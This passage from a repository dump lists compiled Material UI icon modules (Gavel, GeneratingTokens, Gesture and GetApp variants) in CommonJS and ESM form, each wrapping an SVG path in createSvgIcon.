    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h12v2H1zM5.24 8.07l2.83-2.83 14.14 14.14-2.83 2.83zM12.32 1l5.66 5.66-2.83 2.83-5.66-5.66zM3.83 9.48l5.66 5.66-2.83 2.83L1 12.31z\"\n}), 'GavelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h12v2H1zM5.24 8.07l2.83-2.83 14.14 14.14-2.83 2.83zM12.32 1l5.66 5.66-2.83 2.83-5.66-5.66zM3.83 9.48l5.66 5.66-2.83 2.83L1 12.31z\"\n}), 'GavelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokens.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3 6.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}), 'GeneratingTokens');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokens.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3 6.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}), 'GeneratingTokens');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m3-7.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}), 'GeneratingTokensOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m3-7.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}), 'GeneratingTokensOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 11.5c-.55 0-1-.45-1-1v-4H6.75c-.41 0-.75-.34-.75-.75S6.34 9 6.75 9h4.5c.41 0 .75.34.75.75s-.34.75-.75.75H10v4c0 .55-.45 1-1 1M20.25 3.75l1.75.79c.39.18.39.73 0 .91l-1.75.79L19.46 8c-.18.39-.73.39-.91 0l-.79-1.75L16 5.46c-.39-.18-.39-.73 0-.91l1.75-.79.79-1.76c.18-.39.73-.39.91 0zm0 14 1.75.79c.39.18.39.73 0 .91l-1.75.79-.79 1.76c-.18.39-.73.39-.91 0l-.79-1.75-1.76-.79c-.39-.18-.39-.73 0-.91l1.75-.79.79-1.76c.18-.39.73-.39.91 0z\"\n}), 'GeneratingTokensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 11.5c-.55 0-1-.45-1-1v-4H6.75c-.41 0-.75-.34-.75-.75S6.34 9 6.75 9h4.5c.41 0 .75.34.75.75s-.34.75-.75.75H10v4c0 .55-.45 1-1 1M20.25 3.75l1.75.79c.39.18.39.73 0 .91l-1.75.79L19.46 8c-.18.39-.73.39-.91 0l-.79-1.75L16 5.46c-.39-.18-.39-.73 0-.91l1.75-.79.79-1.76c.18-.39.73-.39.91 0zm0 14 1.75.79c.39.18.39.73 0 .91l-1.75.79-.79 1.76c-.18.39-.73.39-.91 0l-.79-1.75-1.76-.79c-.39-.18-.39-.73 0-.91l1.75-.79.79-1.76c.18-.39.73-.39.91 0z\"\n}), 'GeneratingTokensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3 6.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}), 'GeneratingTokensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3 6.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}), 'GeneratingTokensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m3 4.5h-2v5H8v-5H6V9h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m3-7.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}, \"1\")], 'GeneratingTokensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GeneratingTokensTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m3 4.5h-2v5H8v-5H6V9h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m3-7.5h-2v5H8v-5H6V9h6zm8.25-6.75L23 5l-2.75 1.25L19 9l-1.25-2.75L15 5l2.75-1.25L19 1zm0 14L23 19l-2.75 1.25L19 23l-1.25-2.75L15 19l2.75-1.25L19 15z\"\n}, \"1\")], 'GeneratingTokensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gesture.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'Gesture');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gesture.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'Gesture');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.72 6.04c.47.46 1.21.48 1.71.06.37-.32.69-.51.87-.43.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1h1.21c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25h-1.22c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3c-1.09 0-2.04.63-2.7 1.22-.53.48-.53 1.32-.02 1.82m10.16 12.51c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.72 6.04c.47.46 1.21.48 1.71.06.37-.32.69-.51.87-.43.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1h1.21c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25h-1.22c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3c-1.09 0-2.04.63-2.7 1.22-.53.48-.53 1.32-.02 1.82m10.16 12.51c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GestureTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.59 6.89c.7-.71 1.4-1.35 1.71-1.22.5.2 0 1.03-.3 1.52-.25.42-2.86 3.89-2.86 6.31 0 1.28.48 2.34 1.34 2.98.75.56 1.74.73 2.64.46 1.07-.31 1.95-1.4 3.06-2.77 1.21-1.49 2.83-3.44 4.08-3.44 1.63 0 1.65 1.01 1.76 1.79-3.78.64-5.38 3.67-5.38 5.37s1.44 3.09 3.21 3.09c1.63 0 4.29-1.33 4.69-6.1H21v-2.5h-2.47c-.15-1.65-1.09-4.2-4.03-4.2-2.25 0-4.18 1.91-4.94 2.84-.58.73-2.06 2.48-2.29 2.72-.25.3-.68.84-1.11.84-.45 0-.72-.83-.36-1.92.35-1.09 1.4-2.86 1.85-3.52.78-1.14 1.3-1.92 1.3-3.28C8.95 3.69 7.31 3 6.44 3 5.12 3 3.97 4 3.72 4.25c-.36.36-.66.66-.88.93zm9.29 11.66c-.31 0-.74-.26-.74-.72 0-.6.73-2.2 2.87-2.76-.3 2.69-1.43 3.48-2.13 3.48\"\n}), 'GestureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetApp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'GetApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetApp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'GetApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5v6h1.17L12 13.17 9.83 11H11V5zm2-2H9v6H5l7 7 7-7h-4zm4 15H5v2h14z\"\n}), 'GetAppOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5v6h1.17L12 13.17 9.83 11H11V5zm2-2H9v6H5l7 7 7-7h-4zm4 15H5v2h14z\"\n}), 'GetAppOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.59 9H15V4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v5H7.41c-.89 0-1.34 1.08-.71 1.71l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.63-.63.19-1.71-.7-1.71M5 19c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'GetAppRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppRounded.mjs",
